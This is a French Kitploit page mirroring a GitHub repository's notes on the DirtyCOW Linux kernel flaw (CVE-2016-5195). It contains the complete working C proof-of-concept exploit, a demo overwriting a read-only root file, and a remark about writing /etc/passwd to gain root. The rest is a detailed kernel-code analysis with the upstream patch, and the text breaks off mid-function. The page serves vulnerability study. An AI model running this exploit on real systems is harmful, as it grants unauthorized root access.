Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2016-5195 — Notes DirtyCOW | Kitploit
Outils/GitHubGitHub/asuka39/cve-2016-5195
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de Binaires
GitHubasuka39/cve-2016-5195

CVE-2016-5195

Notes DirtyCOW

Voir le dépôt
il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2016-5195 DirtyCOW

PoC

  • Modifié à partir de dirtycow.github.io```c #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>

void *map; int f; struct stat st; char *name;

void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;

f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

root@kitploit:~
Nous croyons qu'il y a encore de la place pour l'amélioration ici, et nous accueillons toute suggestion et contribution.```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt 
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0
$ cat flag.txt
aaaaaa

Une technique d'exploitation courante consiste à écrire sans autorisation dans /etc/passwd pour modifier l'utilisateur root ou les permissions utilisateur afin d'élever les privilèges

Analyse

Analyse de l'exploit

Voyons d'abord ce que fait l'exp```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }

pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

root@kitploit:~
- D'abord, appeler pthread pour créer deux threads
- Ensuite, `fopen` le fichier cible `argv[1]` en lecture seule
- `mmap` le fichier en mémoire (adresse aléatoire). `MAP_PRIVATE` crée un mappage mémoire privé pour la tâche. Si une autre tâche tente d'écrire dans cette mémoire, le processus fait une copie avant écriture, évitant ainsi le coût de copie de tout l'espace mémoire lors de la création de sous-processus ou de threads, tout en garantissant que les opérations mémoire concurrentes entre tâches n'interfèrent pas. C'est le mécanisme CopyOnWrite.
- Puis lancer deux threads : l'un exécute `madviseThread`, l'autre `procselfmemThread`

Maintenant, examinons le corps d'exécution des deux threads

- Un thread appelle `madvise` sur le mappage de fichier pour indiquer au noyau l'état d'utilisation de la mémoire mappée ou de la mémoire partagée. `MADV_DONTNEED` signifie que cette région mémoire ne sera plus utilisée, le noyau peut la libérer.
- L'autre thread ouvre `/proc/self/mem` avec les droits de lecture et d'écriture. Ce fichier est le mappage fichier de la mémoire virtuelle du processus lui-même. Il tente ensuite d'écrire les informations cibles dans ce fichier de façon répétée.```c
void *madviseThread(void *arg) {
  char *str;
  str = (char*)arg;
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
void *procselfmemThread(void *arg) {
  char *str;
  str = (char*)arg;

  int f = open("/proc/self/mem", O_RDWR);
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    lseek(f, (uintptr_t)map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

Finalement, sous les assauts répétés des deux threads, le noyau présente une vulnérabilité de compétition, et procselfmemThread parvient à écrire dans le fichier en lecture seule.

Analyse du noyau

  • Prérequis : mmap crée uniquement un mappage mémoire sur une vma, sans réellement placer le fichier mappé dans une page physique. Par conséquent, lors de notre première tentative d'écriture (write) du fichier, une exception de page manquante est inévitablement déclenchée.
  • La version du noyau choisie ici est la 4.4.

Que se passe-t-il lors de l'écriture ?

mem_rw

Nous analysons à partir de write. Toute opération sur un fichier doit passer par la table virtuelle file_operations enregistrée par le système de fichiers du fichier dans le VFS. Les fichiers situés dans /proc sont implémentés par procfs. En trouvant proc_mem_operations, on voit que write est lié à mem_write.```c static const struct file_operations proc_mem_operations = { .llseek = mem_lseek, .read = mem_read, .write = mem_write, .open = mem_open, .release = mem_release, };

root@kitploit:~
`mem_write` est un wrapper autour de `mem_rw` (le drapeau `write` est mis à 1), le flux principal de `mem_rw` est :

- D'abord, `__get_free_page` alloue une page libre temporaire comme tampon.
- Pour une opération d'écriture, `copy_from_user` copie les données à écrire dans la page temporaire.
- Ensuite, `access_remote_vm` lit les données cibles dans la page libre (lecture) ou écrit le contenu du tampon à l'adresse cible (écriture).
  - Ce qu'on appelle « remote » est dû au fait que ce processus peut lire ou écrire les fichiers mappés en mémoire d'autres processus, ce qui signifie que le processus peut accéder à l'espace d'adressage d'autres processus, contrairement aux autres systèmes de fichiers mémoire.
- Pour une opération de lecture, les données lues dans la page libre à l'étape précédente sont écrites dans le tampon de l'utilisateur.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
			size_t count, loff_t *ppos, int write)
{
	struct mm_struct *mm = file->private_data;
	unsigned long addr = *ppos;
	ssize_t copied;
	char *page;

	if (!mm)
		return 0;

	page = (char *)__get_free_page(GFP_TEMPORARY);	// 申请临时空闲页面
	if (!page)
		return -ENOMEM;

	copied = 0;
	if (!atomic_inc_not_zero(&mm->mm_users))
		goto free;

	while (count > 0) {
		int this_len = min_t(int, count, PAGE_SIZE);	// 本次读取/写入数据长度,单次最大为PAGE_SIZE

		if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作,从用户空间拷贝待写数据到临时空闲页面
			copied = -EFAULT;
			break;
		}

		this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
		if (!this_len) {
			if (!copied)
				copied = -EIO;
			break;
		}

		if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
			copied = -EFAULT;
			break;
		}

		buf += this_len;
		addr += this_len;
		copied += this_len;
		count -= this_len;
	}
	*ppos = addr;

	mmput(mm);
free:
	free_page((unsigned long) page);	// 释放临时空闲页面
	return copied;
}
__access_remote_vm

access_remote_vm est un wrapper autour de __access_remote_vm, le processus principal est :

  • La fonction get_user_pages obtient la structure page dans laquelle se trouve l'adresse cible addr.

  • Si elle réussit, la fonction kmap est appelée pour mapper la page dans la mémoire haute du noyau (la page fait référence à une page physique).

  • Si l'accès mémoire est une écriture, les données sont écrites et le bit "dirty" est marqué ; s'il s'agit d'une lecture, les données sont lues.```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;

    down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;

    root@kitploit:~
      ret = get_user_pages(tsk, mm, addr, 1,		// 获取addr对应的page
      		write, 1, &page, &vma);
      if (ret <= 0) {		// 获取失败
    

#ifndef CONFIG_HAVE_IOREMAP_PROT break; #else /* * Check if this is a VM_IO | VM_PFNMAP VMA, which * we can access using slightly different code. */ vma = find_vma(mm, addr); if (!vma || vma->vm_start > addr) break; if (vma->vm_ops && vma->vm_ops->access) ret = vma->vm_ops->access(vma, addr, buf, len, write); if (ret <= 0) break; bytes = ret; #endif } else { // 获取成功 bytes = len; offset = addr & (PAGE_SIZE-1); if (bytes > PAGE_SIZE-offset) bytes = PAGE_SIZE-offset;

root@kitploit:~
		maddr = kmap(page);		// 映射page到内核空间,因为我们获取的是page结构体,需要映射到一个虚拟地址之后才能进行写入
		if (write) {	// 如果是写操作
			copy_to_user_page(vma, page, addr,		// 将buf的数据拷贝到page中,完成写入
					  maddr + offset, buf, bytes);
			set_page_dirty_lock(page);	// 设置页面为脏页
		} else {		// 如果是读操作
			copy_from_user_page(vma, page, addr,
					    buf, maddr + offset, bytes);
		}
		kunmap(page);
		page_cache_release(page);
	}
	len -= bytes;
	buf += bytes;
	addr += bytes;
}
up_read(&mm->mmap_sem);

return buf - old_buf;

}

root@kitploit:~
##### __get_user_pages

Voici l'aperçu des opérations de lecture/écriture du procfs. Nous allons maintenant commencer par `get_user_pages`.

`get_user_pages` est un wrapper de `__get_user_pages_locked`, et ce dernier appelle `__get_user_pages` qui est le cœur logique. Son déroulement est le suivant :

- Tout d'abord, parcourir les pages à manipuler et effectuer quelques préparations préalables, notamment la définition du bitmap de permissions de chaque page `foll_flags`
- Si c'est la première itération ou si l'adresse de départ est supérieure à l'adresse de base du vma actuel, `find_extend_vma` obtient le vma contenant l'adresse de départ
- Si le processus n'a pas reçu ou masque un signal fatal, `follow_page_mask` obtient la `page struct` de la page physique correspondant à l'adresse virtuelle
  - Généralement, les pages ne sont pas en mémoire, donc la première accès à une page provoque un défaut de page
  - De plus, si vous n'avez pas les permissions d'opération sur cette page, cela provoque également une exception
  - En outre, il y a d'autres causes telles que OOM, défaillance matérielle, etc., qui ne nous intéressent pas ici
- Si l'obtention échoue et qu'il ne s'agit pas d'une panne (retourne 0), appelez `faultin_page` pour traiter l'exception de défaut de page. Une fois le traitement réussi, revenez à `follow_page_mask` pour réessayer d'obtenir la page```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
		unsigned long start, unsigned long nr_pages,
		unsigned int gup_flags, struct page **pages,
		struct vm_area_struct **vmas, int *nonblocking)
{
	long i = 0;
	unsigned int page_mask;
	struct vm_area_struct *vma = NULL;

	if (!nr_pages)
		return 0;

	VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));

	/*
	 * If FOLL_FORCE is set then do not force a full fault as the hinting
	 * fault information is unrelated to the reference behaviour of a task
	 * using the address space
	 */
	if (!(gup_flags & FOLL_FORCE))
		gup_flags |= FOLL_NUMA;

	do {
		struct page *page;
		unsigned int foll_flags = gup_flags;
		unsigned int page_increm;

		/* first iteration or cross vma bound */
		if (!vma || start >= vma->vm_end) {		// 若vma为空(第一次迭代)或者start超出vma的范围
			vma = find_extend_vma(mm, start);	// 查找start所在的vma
			if (!vma && in_gate_area(mm, start)) {
				int ret;
				ret = get_gate_page(mm, start & PAGE_MASK,
						gup_flags, &vma,
						pages ? &pages[i] : NULL);
				if (ret)
					return i ? : ret;
				page_mask = 0;
				goto next_page;
			}

			if (!vma || check_vma_flags(vma, gup_flags))
				return i ? : -EFAULT;
			if (is_vm_hugetlb_page(vma)) {
				i = follow_hugetlb_page(mm, vma, pages, vmas,
						&start, &nr_pages, i,
						gup_flags);
				continue;
			}
		}
retry:
		/*
		 * If we have a pending SIGKILL, don't keep faulting pages and
		 * potentially allocating memory.
		 */
		if (unlikely(fatal_signal_pending(current)))
			return i ? i : -ERESTARTSYS;
		cond_resched();
		page = follow_page_mask(vma, start, foll_flags, &page_mask);	// 获取虚拟地址对应的物理页的page struct
		if (!page) {	// 获取失败,可能是没有对应页,也可能是没有相应操作权限
			int ret;
			ret = faultin_page(tsk, vma, start, &foll_flags,	// 处理缺页异常,COW机制建映射得到一个新的可写的anon page
					nonblocking);								// 若没有写权限其会取消掉foll_flags中的写标志并返回0
			switch (ret) {
			case 0:		// 缺页异常处理成功,重新尝试获取page
				goto retry;
			case -EFAULT:
			case -ENOMEM:
			case -EHWPOISON:
				return i ? i : ret;
			case -EBUSY:
				return i;
			case -ENOENT:
				goto next_page;
			}
			BUG();
		} else if (PTR_ERR(page) == -EEXIST) {
			/*
			 * Proper page table entry exists, but no corresponding
			 * struct page.
			 */
			goto next_page;
		} else if (IS_ERR(page)) {
			return i ? i : PTR_ERR(page);
		}
		if (pages) {
			pages[i] = page;
			flush_anon_page(vma, page, start);
			flush_dcache_page(page);
			page_mask = 0;
		}
next_page:
		if (vmas) {
			vmas[i] = vma;
			page_mask = 0;
		}
		page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
		if (page_increm > nr_pages)
			page_increm = nr_pages;
		i += page_increm;
		start += page_increm * PAGE_SIZE;
		nr_pages -= page_increm;
	} while (nr_pages);		// 直到所有的页都处理完毕
	return i;
}
EXPORT_SYMBOL(__get_user_pages);
follow_page_mask

follow_page_mask analyse l'adresse pas à pas pour obtenir la pte correspondante, puis appelle follow_page_pte pour tenter d'obtenir la structure page. La logique est assez simple : après une série de vérifications réussies, elle retourne la structure page, et si la correspondance d'adresse est introuvable ou si l'autorisation d'écriture est absente, elle retourne `NULL````c static struct page *follow_page_pte(struct vm_area_struct *vma, unsigned long address, pmd_t *pmd, unsigned int flags) { struct mm_struct *mm = vma->vm_mm; struct page *page; spinlock_t *ptl; pte_t *ptep, pte;

retry: if (unlikely(pmd_bad(*pmd))) return no_page_table(vma, flags);

root@kitploit:~
ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
pte = *ptep;
if (!pte_present(pte)) {
	swp_entry_t entry;
	/*
	 * KSM's break_ksm() relies upon recognizing a ksm page
	 * even while it is being migrated, so for that case we
	 * need migration_entry_wait().
	 */
	if (likely(!(flags & FOLL_MIGRATION)))
		goto no_page;
	if (pte_none(pte))
		goto no_page;
	entry = pte_to_swp_entry(pte);
	if (!is_migration_entry(entry))
		goto no_page;
	pte_unmap_unlock(ptep, ptl);
	migration_entry_wait(mm, pmd, address);
	goto retry;
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
	goto no_page;
if ((flags & FOLL_WRITE) && !pte_write(pte)) {	// 欲执行写操作,但是没有写权限
	pte_unmap_unlock(ptep, ptl);
	return NULL;
}

page = vm_normal_page(vma, address, pte);	// 获取page struct
if (unlikely(!page)) {
	if (flags & FOLL_DUMP) {
		/* Avoid special (like zero) pages in core dumps */
		page = ERR_PTR(-EFAULT);
		goto out;
	}

	if (is_zero_pfn(pte_pfn(pte))) {
		page = pte_page(pte);
	} else {
		int ret;

		ret = follow_pfn_pte(vma, address, ptep, flags);
		page = ERR_PTR(ret);
		goto out;
	}
}

if (flags & FOLL_GET)
	get_page_foll(page);
if (flags & FOLL_TOUCH) {
	if ((flags & FOLL_WRITE) &&
	    !pte_dirty(pte) && !PageDirty(page))
		set_page_dirty(page);
	/*
	 * pte_mkyoung() would be more correct here, but atomic care
	 * is needed to avoid losing the dirty bit: it is easier to use
	 * mark_page_accessed().
	 */
	mark_page_accessed(page);
}
if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {
	/*
	 * The preliminary mapping check is mainly to avoid the
	 * pointless overhead of lock_page on the ZERO_PAGE
	 * which might bounce very badly if there is contention.
	 *
	 * If the page is already locked, we don't need to
	 * handle it now - vmscan will handle it later if and
	 * when it attempts to reclaim the page.
	 */
	if (page->mapping && trylock_page(page)) {
		lru_add_drain();  /* push cached pages to LRU */
		/*
		 * Because we lock page here, and migration is
		 * blocked by the pte's page reference, and we
		 * know the page is still mapped, we don't even
		 * need to check for file-cache page truncation.
		 */
		mlock_vma_page(page);
		unlock_page(page);
	}
}

out: pte_unmap_unlock(ptep, ptl); return page; no_page: pte_unmap_unlock(ptep, ptl); if (!pte_none(pte)) return NULL; return no_page_table(vma, flags); }

root@kitploit:~
##### faultin_page

`faultin_page` est similaire ; après avoir défini les indicateurs, elle appelle `handle_mm_fault` pour entrer officiellement dans le processus de gestion des défauts de page, qui sera développé plus tard.```c
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
		unsigned long address, unsigned int *flags, int *nonblocking)
{
	struct mm_struct *mm = vma->vm_mm;
	unsigned int fault_flags = 0;
	int ret;

	/* mlock all present pages, but do not fault in new pages */
	if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
		return -ENOENT;
	/* For mm_populate(), just skip the stack guard page. */
	if ((*flags & FOLL_POPULATE) &&
			(stack_guard_page_start(vma, address) ||
			 stack_guard_page_end(vma, address + PAGE_SIZE)))
		return -ENOENT;
	if (*flags & FOLL_WRITE)	// 欲执行写操作
		fault_flags |= FAULT_FLAG_WRITE;
	if (nonblocking)
		fault_flags |= FAULT_FLAG_ALLOW_RETRY;
	if (*flags & FOLL_NOWAIT)
		fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
	if (*flags & FOLL_TRIED) {
		VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
		fault_flags |= FAULT_FLAG_TRIED;
	}

	ret = handle_mm_fault(mm, vma, address, fault_flags);	// 处理缺页异常
	if (ret & VM_FAULT_ERROR) {
		if (ret & VM_FAULT_OOM)
			return -ENOMEM;
		if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
			return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
		if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
			return -EFAULT;
		BUG();
	}

	if (tsk) {
		if (ret & VM_FAULT_MAJOR)
			tsk->maj_flt++;
		else
			tsk->min_flt++;
	}

	if (ret & VM_FAULT_RETRY) {
		if (nonblocking)
			*nonblocking = 0;
		return -EBUSY;
	}

	/*
	 * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
	 * necessary, even if maybe_mkwrite decided not to set pte_write. We
	 * can thus safely do subsequent page lookups as if they were reads.
	 * But only do so when looping for pte_write is futile: in some cases
	 * userspace may also be wanting to write to the gotten user page,
	 * which a read fault here might prevent (a readonly page might get
	 * reCOWed by userspace write).
	 */
	if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))	// 若vma不可写,但是缺页异常处理成功,且需要写操作
		*flags &= ~FOLL_WRITE;	// 清除写操作标志,否则会在__get_user_pages中返回不断retry
	return 0;
}

DirtyCOW

Gestion des défauts de page

Le mécanisme de réessai indiqué par l’étiquette retry dans __get_user_pages est essentiellement le processus général de gestion des défauts de page lors d’un accès mémoire. En prenant le scénario de cet article comme exemple, notez que les opérations ici ne sont pas atomiques.

  1. Première fois
    1. La tâche accède pour la première fois à l’adresse mappée par mmap. Comme mmap ne lit pas la page en mémoire, follow_page_mask échoue à obtenir la page, provoquant un premier défaut de page.
    2. faultin_page lit la page en mémoire, établit la mise en correspondance, puis retourne pour un réessai.
  2. Deuxième fois
    1. follow_page_mask tente d’obtenir la page une deuxième fois ; cette opération inclut l’écriture sur la page, mais la page cible est en lecture seule, ce qui échoue et provoque un deuxième défaut de page.
    2. faultin_page, selon le mécanisme COW, copie une page anonyme, reconstruit la mise en correspondance, supprime le drapeau FOLL_WRITE pour éviter des réessais infinis, puis retourne pour un réessai.
  3. Troisième fois
    1. follow_page_mask obtient la page une troisième fois ; cette fois le drapeau d’écriture a été supprimé, donc il réussit à obtenir la page anonyme copiée par COW en lecture seule, sans provoquer d’exception.
    2. Retour à kmap, la tâche termine l’écriture (mais les modifications ne seront pas synchronisées dans le fichier).
Comment DirtyCOW fonctionne

À ce stade, le point de vulnérabilité est déjà assez clair. La partie retry du traitement des trois défauts de page aurait dû être atomique, au moins en verrouillant le pte, mais en réalité, pour une raison inconnue, aucune protection n’a été mise en place, ce qui rend ce flux d’exécution facilement perturbable. DirtyCOW consiste, tout en exécutant le processus ci‑dessus, à appeler constamment madvice pour tenter de forcer le noyau à effacer le pte afin de supprimer la mise en correspondance de la page cible, ce qui conduit au flux d’exécution suivant.

  1. Première fois
    1. La tâche accède pour la première fois à l’adresse mappée par mmap. Comme mmap ne lit pas la page en mémoire, follow_page_mask échoue à obtenir la page, provoquant un premier défaut de page.
    2. faultin_page lit la page en mémoire, établit la mise en correspondance, puis retourne pour un réessai.
  2. Deuxième fois
    1. follow_page_mask tente d’obtenir la page une deuxième fois ; cette opération inclut l’écriture sur la page, mais la page cible est en lecture seule, ce qui échoue et provoque un deuxième défaut de page.
    2. faultin_page, selon le mécanisme COW, copie une page anonyme, reconstruit la mise en correspondance, supprime le drapeau FOLL_WRITE pour éviter des réessais infinis, puis retourne pour un réessai.
  3. Concurrence : À ce moment, le noyau, suivant les conseils de madvice, efface le pte de l’adresse virtuelle et supprime la mise en correspondance de l’adresse virtuelle (les threads d’un même processus partagent la même table de pages).
  4. Troisième fois
    1. follow_page_mask obtient la page une troisième fois ; cette fois le drapeau d’écriture a été supprimé, donc il tente d’obtenir en lecture seule. En même temps, la page a été dé‑mappée, ce qui provoque à nouveau un défaut de page.

Un autre point qui pourrait être déroutant : même si nous obtenons la page, le vma d’origine reste en lecture seule, impossible d’écrire à la fin. La solution à ce problème semble être que kmap mappe la mémoire dans la high memory du noyau. Même si le pte mappé par le vma en mode utilisateur est en lecture seule, le pte mappé par la high memory en mode noyau a la permission d’écriture. Grâce à cela, nous pouvons effectuer l’écriture abusive, ce qui est une caractéristique propre à mem_write.

Pour être un bon COW

Enfin, regardons le patch de Linus. Peut-être pour des considérations de performance, il n’a pas verrouillé le point de vulnérabilité, mais a plutôt défini un nouveau drapeau FOLL_COW pour traiter spécialement le COW.

  • commit: mm: remove gup_flags FOLL_WRITE games from __get_user_pages()```diff diff --git a/include/linux/mm.h b/include/linux/mm.h index e9caec6a51e97a..ed85879f47f5f7 100644 --- a/include/linux/mm.h +++ b/include/linux/mm.h @@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct vma, #define FOLL_TRIED 0x800 / a retry, previous pass started an IO / #define FOLL_MLOCK 0x1000 / lock present pages / #define FOLL_REMOTE 0x2000 / we are working on non-current tsk/mm / +#define FOLL_COW 0x4000 / internal GUP flag */

typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr, void *data); diff --git a/mm/gup.c b/mm/gup.c index 96b2b2fd0fbd13..22cc22e7432f60 100644 --- a/mm/gup.c +++ b/mm/gup.c @@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address, return -EEXIST; }

+/*

    • FOLL_FORCE can write to even unwritable pte's, but only
    • after we've gone through a COW cycle and they are dirty.
  • */ +static inline bool can_follow_write_pte(pte_t pte, unsigned int flags) +{
  • return pte_write(pte) ||
  • root@kitploit:~
      ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
    

+} + static struct page *follow_page_pte(struct vm_area_struct *vma, unsigned long address, pmd_t *pmd, unsigned int flags) { @@ -95,7 +105,7 @@ retry: } if ((flags & FOLL_NUMA) && pte_protnone(pte)) goto no_page;

  • if ((flags & FOLL_WRITE) && !pte_write(pte)) {
  • if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) { pte_unmap_unlock(ptep, ptl); return NULL; } @@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
    • reCOWed by userspace write). */ if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
  • root@kitploit:~
      *flags &= ~FOLL_WRITE;
    
  • root@kitploit:~
          *flags |= FOLL_COW;
    
    return 0; }
root@kitploit:~
#### Dive into Page Fault

##### handle_mm_fault

Précédemment, nous nous sommes arrêtés à `faultin_page` ; maintenant, nous continuons à approfondir à partir de `handle_mm_fault`.```c
int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
		    unsigned long address, unsigned int flags)
{
	int ret;

	__set_current_state(TASK_RUNNING);	// 在处理完缺页异常后进程需要继续运行,保持TASK_RUNNING状态

	count_vm_event(PGFAULT);
	mem_cgroup_count_vm_event(mm, PGFAULT);

	/* do counter updates before entering really critical section. */
	check_sync_rss_stat(current);

	/*
	 * Enable the memcg OOM handling for faults triggered in user
	 * space.  Kernel faults are handled more gracefully.
	 */
	if (flags & FAULT_FLAG_USER)
		mem_cgroup_oom_enable();	// 使能内存控制组的OOM处理

	ret = __handle_mm_fault(mm, vma, address, flags);	// handle的真正入口

	if (flags & FAULT_FLAG_USER) {	// 如果是用户态的缺页异常
		mem_cgroup_oom_disable();	// 禁用内存控制组的OOM处理
                /*
                 * The task may have entered a memcg OOM situation but
                 * if the allocation error was handled gracefully (no
                 * VM_FAULT_OOM), there is no need to kill anything.
                 * Just clean up the OOM state peacefully.
                 */
                if (task_in_memcg_oom(current) && !(ret & VM_FAULT_OOM))	// 如果进程处于内存控制组的OOM状态,但没有OOM错误
                        mem_cgroup_oom_synchronize(false);	// 清理OOM状态即可
	}

	return ret;
}
EXPORT_SYMBOL_GPL(handle_mm_fault);
__handle_mm_fault

Ensuite, en voyant le __handle_mm_fault enveloppé, il s'agit en fait de résoudre la pte de la cible, puis d'appeler handle_pte_fault pour traiter.```c static int __handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, unsigned int flags) { pgd_t *pgd; // 页全局目录指针 pud_t *pud; // 页上级目录指针 pmd_t *pmd; // 页中间目录指针 pte_t *pte; // 页表项指针

root@kitploit:~
if (unlikely(is_vm_hugetlb_page(vma)))	// hugepage
	return hugetlb_fault(mm, vma, address, flags);

pgd = pgd_offset(mm, address);		// (mm)->pgd + (address)>>PGDIR_SHIFT
pud = pud_alloc(mm, pgd, address);	// 获取pud指针
if (!pud)
	return VM_FAULT_OOM;	// out of memory
pmd = pmd_alloc(mm, pud, address);	// 获取pmd指针
if (!pmd)
	return VM_FAULT_OOM;
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma)) {	// 透明大页
	int ret = create_huge_pmd(mm, vma, address, pmd, flags);
	if (!(ret & VM_FAULT_FALLBACK))
		return ret;
} else {
	pmd_t orig_pmd = *pmd;
	int ret;

	barrier();	// 内存屏障,确保orig_pmd的读取顺序不会被编译器优化,保证读取的是最新的pmd值
	if (pmd_trans_huge(orig_pmd)) {		// 透明大页
		unsigned int dirty = flags & FAULT_FLAG_WRITE;

		/*
		 * If the pmd is splitting, return and retry the
		 * the fault.  Alternative: wait until the split
		 * is done, and goto retry.
		 */
		if (pmd_trans_splitting(orig_pmd))
			return 0;

		if (pmd_protnone(orig_pmd))
			return do_huge_pmd_numa_page(mm, vma, address,
						     orig_pmd, pmd);

		if (dirty && !pmd_write(orig_pmd)) {
			ret = wp_huge_pmd(mm, vma, address, pmd,
						orig_pmd, flags);
			if (!(ret & VM_FAULT_FALLBACK))
				return ret;
		} else {
			huge_pmd_set_accessed(mm, vma, address, pmd,
					      orig_pmd, dirty);
			return 0;
		}
	}
}

/*
 * Use __pte_alloc instead of pte_alloc_map, because we can't
 * run pte_offset_map on the pmd, if an huge pmd could
 * materialize from under us from a different thread.
 */
if (unlikely(pmd_none(*pmd)) &&
    unlikely(__pte_alloc(mm, vma, pmd, address)))
	return VM_FAULT_OOM;
/*
 * If a huge pmd materialized under us just retry later.  Use
 * pmd_trans_unstable() instead of pmd_trans_huge() to ensure the pmd
 * didn't become pmd_trans_huge under us and then back to pmd_none, as
 * a result of MADV_DONTNEED running immediately after a huge pmd fault
 * in a different thread of this mm, in turn leading to a misleading
 * pmd_trans_huge() retval.  All we have to ensure is that it is a
 * regular pmd that we can walk with pte_offset_map() and we can do that
 * through an atomic read in C, which is what pmd_trans_unstable()
 * provides.
 */
if (unlikely(pmd_trans_unstable(pmd)))
	return 0;
/*
 * A regular pmd is established and it can't morph into a huge pmd
 * from under us anymore at this point because we hold the mmap_sem
 * read mode and khugepaged takes it in write mode. So now it's
 * safe to run pte_offset_map().
 */
pte = pte_offset_map(pmd, address);		// 获取pte指针,这也是这个wrap的最终的目标

return handle_pte_fault(mm, vma, address, pte, pmd, flags);		// 进入page fault处理

}

root@kitploit:~
##### handle_pte_fault

Le flux de `handle_pte_fault` est le suivant, les fonctions clés sont `do_fault` et `do_wp_page`

- Premièrement, vérifier si pte est nul ; si c'est le cas, cela indique que le processus accède à la page pour la première fois
  - Si la page accédée est une page anonyme, appeler `do_anonymous_page`
  - Si la page accédée n'est pas une page anonyme, appeler `do_fault`
  - Après cela, retourner directement
- Si la page est en mémoire (cela indique qu'elle a déjà été accédée auparavant), après avoir effectué quelques vérifications, si le défaut de page est provoqué par une opération d'écriture
  - S'il n'y a pas de permission d'écriture, appeler `do_wp_page`
  - S'il y a une permission d'écriture, alors marquer le bit sale pour la pte```c
static int handle_pte_fault(struct mm_struct *mm,
		     struct vm_area_struct *vma, unsigned long address,
		     pte_t *pte, pmd_t *pmd, unsigned int flags)
{
	pte_t entry;
	spinlock_t *ptl;	// 页表自旋锁

	/*
	 * some architectures can have larger ptes than wordsize,
